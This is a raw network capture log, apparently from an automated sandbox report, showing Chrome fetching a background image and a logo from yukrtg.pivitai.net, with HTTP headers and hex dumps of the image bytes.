2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 Data Ascii: 333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 33333333
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 Data Ascii: """""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 Data Ascii: " 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333"""""""""""""""""""""""""""""" 333333333333333333333333333333""""""""""""""""""""""""""""
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 Data Ascii: UUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDD
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 Data Ascii: UUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUU
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 44 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 55 50 00 00 04 44 44 44 44 44 Data Ascii: DDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUPDDDDD
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 Data Ascii:
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 07 e0 Data Ascii:
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 00 00 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 22 22 22 22 22 22 Data Ascii: """"""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333"""""""""""""""""33333333333333333""""""

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.17	49750	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:28 UTC	501	OUT	GET /shared/1.0/content/images/appbackgrounds/49_6ffe0a92d779c878835b40171ffc2e13.jpg HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:29 UTC	1100	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:29 GMT Content-Type: image/jpeg Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116793 Cache-Control: public, max-age=31536000 Content-Md5: eRaolOvefSnCzCmyZ/Epnw== Etag: 0x8DB5C3F41AC335E Last-Modified: Wed, 24 May 2023 10:11:35 GMT X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: e25186fb-501e-0056-15d4-7ec319000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=lowGcolRvuxY6jZ0OTl2bYlHsFpGWafZbkM3haWz5yHDlSL83uWNR8E9qLDLxkTEc3aUzGdDhPuysLmpZ9ggV5B0b2tVELC40NEv3CB5Id%2FbcgnIEDVr5nBdHUdmCIyT7hdJ9gY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a94323cf1eb3cb-MIA alt-svc: h3=":443"; ma=86400
2024-04-26 20:18:29 UTC	269	IN	Data Raw: 34 34 32 64 0d 0a ff d8 ff e1 09 50 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 32 20 37 39 2e 31 36 30 39 32 34 2c 20 32 30 31 37 2f 30 37 2f 31 33 2d 30 31 3a 30 36 3a 33 39 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c 6e 73 3a 72 64 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 30 32 2f 32 32 2d 72 Data Ascii: 442dPhttp://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-r
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 3e 20 3c 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 20 72 64 66 3a 61 62 6f 75 74 3d 22 22 2f 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: > <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 28 00 00 00 00 00 02 a0 0a a8 08 a2 00 a2 00 a2 28 00 08 00 00 00 00 a0 00 00 00 8a 02 00 20 0a 00 00 00 00 80 8a 54 50 0a 80 2d 10 05 aa e5 41 44 c0 15 0a 08 00 00 00 00 00 00 00 00 02 00 00 00 08 a0 20 00 00 80 00 00 00 02 a0 00 00 20 00 00 00 80 00 00 08 a0 20 00 00 00 02 02 28 00 00 00 20 a8 88 00 29 55 00 51 01 14 40 14 40 14 45 00 29 40 00 50 05 00 00 54 01 44 01 40 00 00 00 00 00 15 00 51 14 00 00 00 05 40 14 45 00 00 00 00 00 00 00 00 15 01 54 05 1f ff d1 db 41 18 76 54 04 00 00 40 00 00 01 00 05 00 01 40 00 10 05 40 40 2a 50 0a 00 00 28 00 00 08 00 00 00 00 14 00 00 00 00 00 00 00 00 00 00 00 01 14 05 00 00 00 00 00 00 40 00 15 15 40 00 00 00 01 00 00 00 00 00 05 10 00 00 00 00 00 00 00 00 04 50 00 00 01 00 50 14 00 00 01 00 00 00 00 00 00 41 14 Data Ascii: (( TP-AD ( )UQ@@E)@PTD@Q@ETAvT@@@@*P(@@PPA
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 40 40 00 54 00 5a 54 01 44 00 00 00 00 00 00 00 00 40 00 00 01 14 04 15 00 15 00 00 00 04 00 00 00 00 41 05 40 00 00 00 00 04 15 04 00 01 6a 00 52 a0 82 d1 00 51 29 41 44 a5 05 00 44 14 04 15 00 00 00 00 00 50 00 00 00 00 5a 20 23 a1 28 0a 20 0a 00 00 0a 00 a0 00 28 80 28 00 00 02 a0 0a 00 00 00 00 28 00 00 00 00 00 0f ff d7 da c0 61 d8 40 41 40 14 4a 20 00 00 00 20 08 00 0a 00 02 00 00 00 02 00 00 02 02 a0 0a 00 00 00 00 0a 20 0a 20 22 88 aa 00 00 00 20 a8 00 00 a0 08 a0 00 8a 8a 00 08 a0 00 00 00 02 88 02 aa 02 28 82 8a 00 00 22 00 00 00 00 28 00 20 00 00 00 02 80 00 2a 02 0a 80 28 80 28 00 00 00 02 00 00 00 00 28 00 02 a2 88 00 02 2a 00 00 00 00 00 00 00 00 80 08 00 00 00 00 28 00 80 00 00 00 00 00 00 00 80 00 02 02 a0 00 00 80 00 02 20 a2 00 a8 00 2a Data Ascii: @@TZTD@A@jRQ)ADDPZ #( (((a@A@J " ("( (((( *
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 54 14 15 00 00 40 00 10 54 00 00 00 00 00 00 40 01 51 05 40 00 00 04 00 00 00 01 01 00 10 11 41 50 54 01 50 51 44 50 00 00 04 00 00 54 04 51 15 40 00 00 00 00 00 14 00 16 ab 95 00 50 10 00 15 00 50 14 00 05 11 50 00 00 01 40 00 00 14 05 40 00 7f ff d5 da 90 18 76 00 00 04 00 05 00 41 35 01 40 00 00 01 15 11 40 01 44 50 10 01 00 40 45 14 41 51 14 00 00 05 00 00 14 40 10 45 00 00 00 01 40 00 15 14 05 45 10 04 00 05 40 00 00 00 00 50 01 40 54 00 01 00 05 c4 04 55 72 a0 a0 00 00 80 0a 00 00 00 00 00 00 00 00 0a 00 02 2a 2a 02 80 02 00 80 0a 00 00 a0 20 00 00 00 00 00 00 00 00 00 00 22 80 00 22 02 a0 00 00 00 00 00 00 00 08 00 00 00 00 01 50 01 50 02 80 08 2a 00 00 80 00 00 00 08 00 00 00 20 a8 00 00 00 00 08 00 08 80 00 00 00 00 00 20 a8 02 2a 02 e0 82 0a 21 Data Ascii: T@T@Q@APTPQDPTQ@PPP@@vA5@@DP@EAQ@E@E@P@TUr** ""PP* *!
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 10 50 10 54 00 00 00 05 11 40 00 40 01 45 00 00 50 00 55 01 10 00 00 05 05 01 05 14 01 41 05 04 45 00 00 55 00 05 01 00 00 7f ff d3 da 80 61 d4 00 00 01 11 50 00 05 00 01 14 04 15 10 00 00 00 11 50 00 00 00 00 00 00 00 00 00 00 05 00 00 00 00 10 00 00 40 51 00 54 05 00 00 05 10 00 00 00 00 00 14 14 11 00 00 01 40 00 51 14 14 45 10 10 00 01 00 00 00 00 00 01 41 40 00 00 00 00 00 00 45 00 00 00 00 40 00 00 00 00 00 00 00 14 00 00 40 00 00 00 00 00 00 00 00 00 00 00 40 04 00 14 41 15 00 00 00 00 00 00 00 00 00 10 01 00 5c 45 50 40 44 00 14 00 10 50 44 15 00 00 04 54 00 04 41 15 00 00 50 04 00 00 00 40 10 15 00 00 04 00 00 00 11 40 45 10 1d 08 a2 80 00 8a 02 28 00 8a 02 2e 08 0e 84 50 00 00 00 51 14 10 54 14 5c 40 14 00 00 05 11 40 00 02 82 8a 22 88 00 00 02 Data Ascii: PT@@EPUAEUaPP@QT@QEA@E@@@A\EP@DPDTAP@@E(.PQT\@@"
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 00 00 00 00 04 04 54 00 54 50 00 00 50 10 01 40 00 00 00 00 00 00 00 00 00 14 40 00 00 00 00 00 00 00 00 00 00 00 01 51 40 54 04 00 14 00 40 15 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 50 00 10 00 00 01 35 16 a0 a0 00 00 88 00 00 00 00 00 02 20 a8 8a 00 00 00 22 80 22 80 82 a0 20 a8 20 02 02 28 08 2a 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 a2 80 00 00 00 00 00 00 a8 a0 b8 00 00 28 00 00 00 00 02 a2 8a 00 00 00 2a 28 80 0a 0a 8a 02 28 2b ff d2 da 80 46 c0 01 00 00 00 00 04 01 14 01 40 00 11 51 00 01 00 00 00 00 00 4a a8 28 00 00 00 00 01 00 05 01 05 04 00 00 00 00 00 12 82 88 28 00 00 02 14 00 00 00 00 00 00 00 54 15 40 01 05 00 00 00 00 00 00 00 00 00 00 00 00 01 05 00 00 00 00 00 00 00 00 00 00 00 00 14 00 00 00 00 00 Data Ascii: TTPP@@Q@T@P5 "" (* (*((+F@QJ((T@
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 10 54 00 01 40 00 5c 40 45 54 8a 08 2a 00 00 a2 a0 0a 00 80 00 8a 00 00 aa 00 20 00 00 00 00 00 02 80 28 02 80 00 a0 08 00 02 a2 83 ff d0 da 80 14 40 00 01 40 00 00 40 00 00 04 00 00 00 00 00 40 10 05 00 00 00 00 00 01 00 00 00 00 16 00 00 00 00 02 00 00 00 00 00 00 00 00 20 0a 20 0a 20 0a 00 00 00 00 00 08 00 28 00 00 a0 8a 02 00 00 a8 a0 00 00 00 00 0a 22 80 20 0a 00 a0 28 00 08 00 00 00 00 80 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 a8 a2 00 00 02 00 00 00 00 02 80 00 00 00 20 8a 00 00 02 2a 08 00 00 00 00 00 08 00 00 00 00 20 00 00 00 00 08 28 0e 45 80 a1 05 44 40 00 89 14 04 15 05 20 28 20 b0 80 82 c2 20 91 60 00 00 00 00 8a 02 0a 80 82 80 82 80 02 88 00 02 2a 00 00 a2 80 00 08 00 00 0a 00 0a 00 00 28 00 02 0a 02 28 08 00 28 00 00 28 b8 a8 Data Ascii: T@\@ET* (@@@@ (" ( * (ED@ ( `*((((
2024-04-26 20:18:29 UTC	1369	IN	Data Raw: 00 00 00 00 00 05 45 00 14 00 10 15 00 50 00 00 00 11 40 00 00 00 00 00 00 00 00 05 04 40 00 00 00 00 00 45 00 00 00 00 00 00 05 40 01 51 40 00 00 00 00 00 40 04 00 00 00 00 00 01 00 00 00 40 01 44 14 41 05 40 00 00 50 54 15 04 00 14 01 00 00 41 40 11 48 08 28 08 28 08 28 08 02 00 00 00 00 00 00 00 00 02 80 10 04 00 00 00 00 15 51 40 45 45 04 50 10 50 00 50 00 01 14 04 00 01 40 40 14 00 05 54 50 00 00 00 00 11 ff d7 da 80 69 04 50 10 00 00 00 10 14 40 00 00 10 05 40 00 00 00 50 00 04 54 00 00 04 04 54 00 00 00 01 00 00 00 00 4a 0a 94 05 01 14 51 00 51 00 54 01 14 40 14 40 14 a8 a0 a2 28 00 00 02 00 00 00 00 00 2e 22 82 80 28 00 00 a0 00 00 08 00 00 00 00 00 a8 00 a8 a0 28 00 02 0a 00 00 00 00 00 22 80 00 00 00 00 00 00 00 0a 20 02 00 00 00 00 02 80 20 00 Data Ascii: EP@@E@Q@@@DA@PTA@H(((Q@EEPPP@@TPiP@@PTTJQQT@@(."(("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.17	49751	104.21.32.98	443	8028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 20:18:28 UTC	495	OUT	GET /shared/1.0/content/images/applogos/53_7a3c80bf9694448bac31a9589d2e9e92.png HTTP/1.1 Host: yukrtg.pivitai.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: FAro=e6dedb1dd77bcca95c871ca26b83a96b988d4133bdab2407fbd6994c9d2c356d
2024-04-26 20:18:29 UTC	1113	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 20:18:29 GMT Content-Type: image/png Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 116793 Cache-Control: public, max-age=31536000 Content-Md5: izYzcDfP+Iw98gO7c9WOQQ== Etag: 0x8DB5C3F457C234F Last-Modified: Wed, 24 May 2023 10:11:42 GMT X-Cache: HIT X-Ms-Blob-Type: BlockBlob X-Ms-Lease-Status: unlocked X-Ms-Request-Id: 599bacf0-101e-007e-19d4-7e0a3b000000 X-Ms-Version: 2009-09-19 CF-Cache-Status: HIT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z0nRS%2B%2FNP%2F%2BBCVKWgBz%2Bb8dGLyjXH5NrGIFQqVsfFcaa9kqXa35QMAI%2B16NxfoP1Xrg9U1gvk3lGrSSsaqYFNF3z0bDqfwgC2ocMVTXsXEgPwiJ%2BKNKmsikAE%2BNE5ougiJN3TLg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87a94323d89e7440-MIA alt-svc: h3=":443"; ma=86400
